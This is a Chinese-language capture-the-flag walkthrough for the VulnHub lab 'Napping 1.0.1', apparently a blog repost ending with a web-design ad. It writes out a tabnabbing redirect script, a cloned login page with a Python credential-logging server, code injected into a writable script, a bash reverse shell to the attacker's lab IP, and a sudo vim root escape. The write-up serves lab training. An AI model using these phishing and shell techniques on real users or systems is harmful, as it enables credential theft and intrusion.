Napping: 1.0.1靶场攻略
2026/7/8 2:24:03 网站建设 项目流程

靶场:Napping: 1.0.1 ~ VulnHub

说明:因为不会这道题的解法看了大家的攻略复现过程中发现了一些问题,用ai等工具改进后得出 结果。问题具体表现为网上普遍的解法用nc lvp 8888 和python -m http.server 到8000端口后靶机会无法post成功,因为根据同源策略由8000端口转换为8888端口后会向8888端口发送请求头,nc监听无法回应,靶机只能转向8000端口发送post请求,而http中没有post功能会出现503报错。以下是具体攻略,只讲解过程,有不会的代码请自行ai。

环境介绍

虚拟机:VirtualBox

靶机ip:192.168.86.8

攻击机ip: 192.168.86.4(kali)

连接方式:NAT网络

一、信息搜集

扫描局域网获得靶机ip

arp-scan -l

找到ip为192.168.86.8。

用namp扫描开放端口

nmap -A -p 1-65535 192.168.86.8

22 ssh端口和80 默认端口开着。访问目录没结果,不列出了,我们直接下一步,访问浏览器。

二、漏洞利用

打开 http://192.168.86.8/

注册一个账户登录。

您好,管理员!欢迎来到我们的免费博客推广网站。 请提交你的链接以便我们开始审核。所有链接都会由管理员进行核验。

意思就是我们提交的网站他管理员会登录,我们就可以使用钓鱼链接提交网站。

首先我们要制作自己的钓鱼脚本B.html

<script> if(window.opener){ window.opener.location.replace("http://192.168.86.4:8000/c.html"); } </script>

意思是打开就会跳转到我们设置的仿靶机的登录网站。

然后直接查看登录页面的源代码制作c.html

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Login</title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"> <style> body{ font: 14px sans-serif; } .wrapper{ width: 360px; padding: 20px; } </style> </head> <body> <div class="wrapper"> <h2>Login</h2> <p>Please fill in your credentials to login.</p> <form action="/" method="post"> <div class="form-group"> <label>Username</label> <input type="text" name="username" class="form-control " value=""> <span class="invalid-feedback"></span> </div> <div class="form-group"> <label>Password</label> <input type="password" name="password" class="form-control "> <span class="invalid-feedback"></span> </div> <div class="form-group"> <input type="submit" class="btn btn-primary" value="Login"> </div> <p>Don't have an account? <a href="register.php">Sign up now</a>.</p> </form> </div> </body> </html>

注意把表格提交位置这个改一下,<form action="/" method="post">

再写一个server.py

from http.server import HTTPServer, BaseHTTPRequestHandler import os class Handler(BaseHTTPRequestHandler): def do_GET(self): path = self.path.lstrip("/") if os.path.exists(path): with open(path, "rb") as f: data = f.read() self.send_response(200) self.send_header("Content-Type", "text/html;charset=utf-8") self.end_headers() self.wfile.write(data) else: self.send_response(404) self.end_headers() def do_POST(self): length = int(self.headers["Content-Length"]) data = self.rfile.read(length).decode() print("\n==== 捕获登录凭证 ====") print(data) print("======================\n") self.send_response(200) self.send_header("Content-Type", "text/html;charset=utf-8") self.end_headers() self.wfile.write("<h3>登录成功,请稍后</h3>".encode("utf-8")) if __name__ == "__main__": server = HTTPServer(("0.0.0.0", 8000), Handler) print("服务启动 0.0.0.0:8000") server.serve_forever()

把他们放kali的/var/www/html里,放不进去的话右键open as root,输入密码就行了。然后

运行server.py

python3 server.py

这里稍微讲解一下为什么会这样,因为http没有post请求,所以需要用python脚本建立一个post方式这样我们建立的http回话才能用post传递。这里比较抽象,可以结合别人的攻略还有开头我说的问题一起阅读更方便理解。

具体是这样的

得到账号密码

  • 用户名:daniel
  • 密码:C@ughtm3napping123

用ssh登录

ssh daniel@192.168.86.8

如果有问题 就输入yes

然后输入密码C@ughtm3napping123

三、提权

用id查看当前所在的用户组

发现administrators

查找administrators下的可执行文件

find / -group administrators 2>/dev/null

然后往里塞两行代码,让他打开shell.sh文件。

import os os.system('/usr/bin/bash /home/daniel/shell.sh')

用vim 打开这个python.py

vim /home/adrian/query.py

i插入,写完了之后按ESC,然后输入:wq!回车保存!

然后再写shell.sh

vim /home/daniel/shell.sh
bash -c 'bash -i >& /dev/tcp/192.168.86.4/1234 0>&1'

完成后用kali监听nc

nc -lvpp 1234

sudo -l,列出当前用户所有 sudo 权限,发现vim

用vim提权,

sudo /usr/bin/vim -c ':!/bin/sh'

这回就是root了,

找到root所属文件夹。

cd /root ls cat root.txt

Admins just can't stay awake tsk tsk tsk

结果是这个。


需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询